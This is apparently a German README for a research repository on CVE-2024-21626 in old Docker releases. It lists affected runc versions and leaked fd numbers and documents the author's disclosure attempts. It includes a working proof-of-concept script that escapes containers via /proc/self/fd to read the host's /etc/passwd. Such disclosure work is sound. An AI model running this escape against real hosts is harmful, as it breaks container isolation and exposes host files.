
Exploit- und Analyse-Toolkit für die CVE-2024-21626 Container-Escape-Sicherheitslücke in veralteten Docker-Versionen, mit automatisierter fd-Erkennung und Proof-of-Concept-Skripten zum Testen älterer runc-Komponenten.
Während meiner Analyse zu CVE-2024-21626 habe ich festgestellt, dass andere ältere Docker-Komponenten anfällig für fd-Leaks sind (was in der Sicherheitswarnung GHSA-xr7r-f8xq-vfvv nicht erwähnt wird). Lesen Sie meinen vollständigen Artikel für eine detaillierte Erklärung hier.
Aktivieren Sie während der Installation nicht das Kontrollkästchen zum Herunterladen von Systemaktualisierungen.
Gehen Sie zu https://download.docker.com/linux/static/stable/x86_64/ und laden Sie die alte Version docker-X.Y.Z-ce.tgz zum Testen herunter
Entpacken Sie es, kopieren Sie den Inhalt in das Verzeichnis /usr/bin und starten Sie den Docker-Daemon.
cd Downloads/
tar xzvf <docker-X.Y.Z-ce.tgz>
sudo cp docker/* /usr/bin/
sudo dockerd &
sudo docker version
containerd --version
uname -r
In alten Versionen haben wir docker-runc anstelle von runc. Überprüfen Sie daher:
ls -la /usr/bin | grep docker
-rwxr-xr-x 1 root root 14128576 mar 19 10:54 docker
-rwxr-xr-x 1 root root 8932648 mar 19 10:54 docker-containerd
-rwxr-xr-x 1 root root 8381448 mar 19 10:54 docker-containerd-ctr
-rwxr-xr-x 1 root root 3047368 mar 19 10:54 docker-containerd-shim
-rwxr-xr-x 1 root root 39989264 mar 19 10:54 dockerd
-rwxr-xr-x 1 root root 772400 mar 19 10:54 docker-init
-rwxr-xr-x 1 root root 2534781 mar 19 10:54 docker-proxy
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
ls -la /usr/bin| grep runc
-rwxr-xr-x 1 root root 10232 mar 18 2018 bdftruncate
-rwxr-xr-x 1 root root 7092608 mar 19 10:54 docker-runc
-rwxr-xr-x 1 root root 35000 gen 18 2018 runcon
-rwxr-xr-x 1 root root 39096 gen 18 2018 truncate
Überprüfen Sie die Version von doker-runc/runc
runc --version
docker-runc -v
Führen Sie checkVulnerability.sh aus und prüfen Sie, ob die Datei im Terminal ausgegeben wird
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
echo ""
done
# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git
# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh
Für dieses Beispiel habe ich die Version docker-17.03.1-ce verwendet.

Für dieses Beispiel habe ich die Version docker-17.03.1-ce verwendet.

Nachfolgend sind die Ergebnisse meiner Analyse aufgeführt, geordnet nach Docker-Version und der verwendeten zugehörigen runc-Version.
| Docker-Version | runc-Version | Geleakte fd-Nummer |
|---|---|---|
| docker-18.09.0.tgz | 1.0.0-rc5+dev | ❌ |
Hier ist der Screenshot, der die drei verschiedenen anfälligen Versionen zeigt.
| 1.0.0-rc2 | 1.0.0-rc3 | 1.0.0-rc4+dev |
|---|---|---|
![]() | ![]() | ![]() |
Wie bei CVE-2024-21626 sind die verschiedenen Arten von Angriffen weiterhin möglich.
Diese Schwachstelle unterscheidet sich erheblich von der CVE-2024-21626, weil:
openat2-Syscall fehlt./run/runc/<container>/, der den Zustand laufender Container enthält, anstatt im Verzeichnis /sys/fs/cgroup des Hosts.Was ich entdeckt habe, ist, dass ältere Versionen ebenfalls anfällig für die gleiche Angriffstechnik sind. Obwohl sich die Schwachstelle selbst unterscheidet, ist das Ergebnis dasselbe: Zugriff auf das Host-Dateisystem erhalten. Die wichtigste Erkenntnis ist, sich nicht ausschließlich auf Sicherheitswarnungen zu verlassen – testen Sie alles gründlich. Verstehen Sie die CVE vollständig, wie sie funktioniert, experimentieren Sie in einer sicheren Umgebung und untersuchen Sie Randfälle.
Ich habe versucht, [email protected] und [email protected] zu kontaktieren und eine CVE zu eröffnen. Ich habe die folgenden Antworten erhalten:
| Docker-Version | docker-runc-Version | Geleakte fd-Nummer |
|---|
| docker-17.03.1-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.03.2-ce.tgz | 1.0.0-rc2 | /proc/self/fd/4 |
| docker-17.06.0-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.1-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.06.2-ce.tgz | 1.0.0-rc3 | /proc/self/fd/5 |
| docker-17.09.0-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.09.1-ce.tgz | 1.0.0-rc4+dev | /proc/self/fd/5 |
| docker-17.12.0-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-17.12.1-ce.tgz | 1.0.0-rc4+dev | ❌ |
| docker-18.03.0-ce.tgz | ❌ | |
| docker-18.06.3-ce.tgz | 1.0.0-rc5+dev | ❌ |
| Anfrage | Antwort |
|---|
| [email protected] (19/03/24) | Die von Ihnen aufgelisteten Versionen sind allesamt EOL-Versionen der Software (~7 Jahre alt) und werden von Docker nicht mehr gepatcht oder gewartet. Wenn Sie ein Problem mit den Versionen oder dem Wortlaut haben, die in der bestehenden GHSA-xr7r-f8xq-vfvv-Warnung aufgeführt sind ("affected versions: >= 1.0.0-rc93, <= 1.1.11"), dann ist der richtige Kanal, um dies zu melden, die OCI-Sicherheits-Mailbox: https://github.com/opencontainers/.github/blob/main/SECURITY.md Vielen Dank, dass Sie sich gemeldet haben. Lassen Sie uns wissen, wenn wir noch etwas tun können |
| [email protected] (20/03/24) | keine Antwort |
| CVE-MITRE (15/05/2024) | Wir vergeben normalerweise keine CVE-IDs für Probleme, die nur in Release Candidates existieren. https://www.cve.org/CVERecord?id=CVE-2024-21626 betraf veröffentlichte Versionen von runc, wie Release 1.1.11. |